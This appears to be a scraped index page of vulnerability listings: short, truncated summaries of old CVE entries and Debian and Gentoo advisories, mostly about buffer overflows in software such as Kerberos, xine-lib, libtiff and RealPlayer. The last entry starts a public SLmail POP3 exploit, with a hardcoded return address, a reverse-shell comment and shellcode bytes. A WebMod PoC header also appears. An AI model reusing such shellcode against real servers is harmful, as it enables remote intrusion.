[SECURITY] [DSA 1448-1] New eggdrop packages fix arbitrary code execution

------------------------------------------------------------------------ Debian Security Advisory DSA-1448-1 [email protected] http://www.debian.org/security/ Steve Kemp January 05, 2008 http://www.debian.org/security/faq -...

MIT Kerberos kadmind RPC Library Unix Authentication Buffer Overflow (CVE-2007-2443)

Kerberos is a protocol suite that provides authenticated communication between two points on a network. The Kerberos V5 administration server kadmind utilizes the encrypted SUN-RPC protocol to communicate with its remote clients. A vulnerability has been reported in the Kerberos Unix authenticati...

CVE-2007-1470

Multiple buffer overflows in LIBFtp 5.0 allow user-assisted remote attackers to execute arbitrary code via certain long arguments to the 1 FtpArchie, 2 FtpDebugDebug, 3 FtpOpenDir, 4 FtpSize, or 5 FtpChmod function...

WebMod 0.48 (Content-Length) Remote Buffer Overflow Exploit PoC

Exploit for unknown platform in category remote exploits =============================================================== WebMod 0.48 Content-Length Remote Buffer Overflow Exploit PoC =============================================================== / WebMod Stack Buffer Overflow by cybermind Kevin...

CVE-2005-3524

Buffer overflow in the SSL-ready version of linux-ftpd linux-ftpd-ssl 0.17 allows remote attackers to execute arbitrary code by creating a long directory name, then executing the XPWD command...

EUVD-2002-1883

Buffer overflow in the Log function in util.c in GazTek ghttpd 1.4 through 1.4.3 allows remote attackers to execute arbitrary code via a long HTTP GET request...

CVE-2005-1766

Heap-based buffer overflow in rtffplin.cpp in RealPlayer 10.5 6.0.12.1056 on Windows, and 10, 10.0.1.436, and other versions before 10.0.5 on Linux, allows remote attackers to execute arbitrary code via a RealMedia file with a long RealText string, such as an SMIL file...

CVE-2003-1090

Buffer overflow in AbsoluteTelnet before 2.12 RC10 allows remote attackers to execute arbitrary code via a long window title...

CVE-2004-1619

Buffer overflow in Privateer's Bounty: Age of Sail II allows remote attackers to execute arbitrary code via a long nickname...

GLSA-200501-07 : xine-lib: Multiple overflows

The remote host is affected by the vulnerability described in GLSA-200501-07 xine-lib: Multiple overflows Ariel Berkman discovered that xine-lib reads specific input data into an array without checking the input size in demuxaiff.c, making it vulnerable to a buffer overflow CAN-2004-1300 . iDefen...

GLSA-200501-44 : ncpfs: Multiple vulnerabilities

The remote host is affected by the vulnerability described in GLSA-200501-44 ncpfs: Multiple vulnerabilities Erik Sjolund discovered two vulnerabilities in the programs bundled with ncpfs: there is a potentially exploitable buffer overflow in ncplogin CAN-2005-0014, and due to a flaw in nwclient....

CVE-2004-1455

Stack-based buffer overflow in Xine-lib-rc5 in xine-lib 1rc5-r2 and earlier allows remote attackers to execute arbitrary code via crafted playlists that result in a long vcd:// URL...

CVE-2004-1308

Integer overflow in 1 tifdirread.c and 2 tiffax3.c for libtiff 3.5.7 and 3.7.0 allows remote attackers to execute arbitrary code via a TIFF file containing a TIFFASCII or TIFFUNDEFINED directory entry with a -1 entry count, which leads to a heap-based buffer overflow...

CVE-2004-1290

Buffer overflow in the processmoves function in pgn2web.c for pgn2web 0.3 allows remote attackers to execute arbitrary code via a crafted PGN file...

CVE-2004-0555

Buffer overflow in 1 queue.c and 2 queued.c in queue before 1.30.1 may allow remote attackers to execute arbitrary code...

CVE-2004-2099

Buffer overflow in Need for Speed Hot Pursuit 2.0 client NFSHP2, version 242 and earlier, allows remote attackers servers to execute arbitrary code via long 1 gamename, 2 gamever, 3 hostname, 4 gametype, 5 mapname or 6 gamemode commands...

CVE-2004-1390

Multiple buffer overflows in the PPPoE daemon PPPoEd in QNX RTP 6.1 allow remote attackers to execute arbitrary code via a long argument to the 1 -F, 2 name, 3 en, 4 upscript, 5 downscript, 6 retries, 7 timeout, 8 scriptdetach, 9 noscript, 10 nodetach, 11 remotemac, or 12 localmac flags...

CVE-2004-2167

Multiple buffer overflows in LaTeX2rtf 1.9.15, and possibly other versions, allow remote attackers to execute arbitrary code via 1 the expandmacro function, and possibly 2 Environments and 3 TranslateCommand...

CVE-2004-1303

Buffer overflow in the get function in get.c for Yanf 0.4 allows remote malicious web servers to execute arbitrary code via crafted HTTP responses...

Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow (2)

include include include include include include include include include include define retadd "\x9f\x45\x3a\x77" /win2k server sp4 0x773a459f/ define port 110 / revshell العراق القراصنة المجموعة/ char shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"...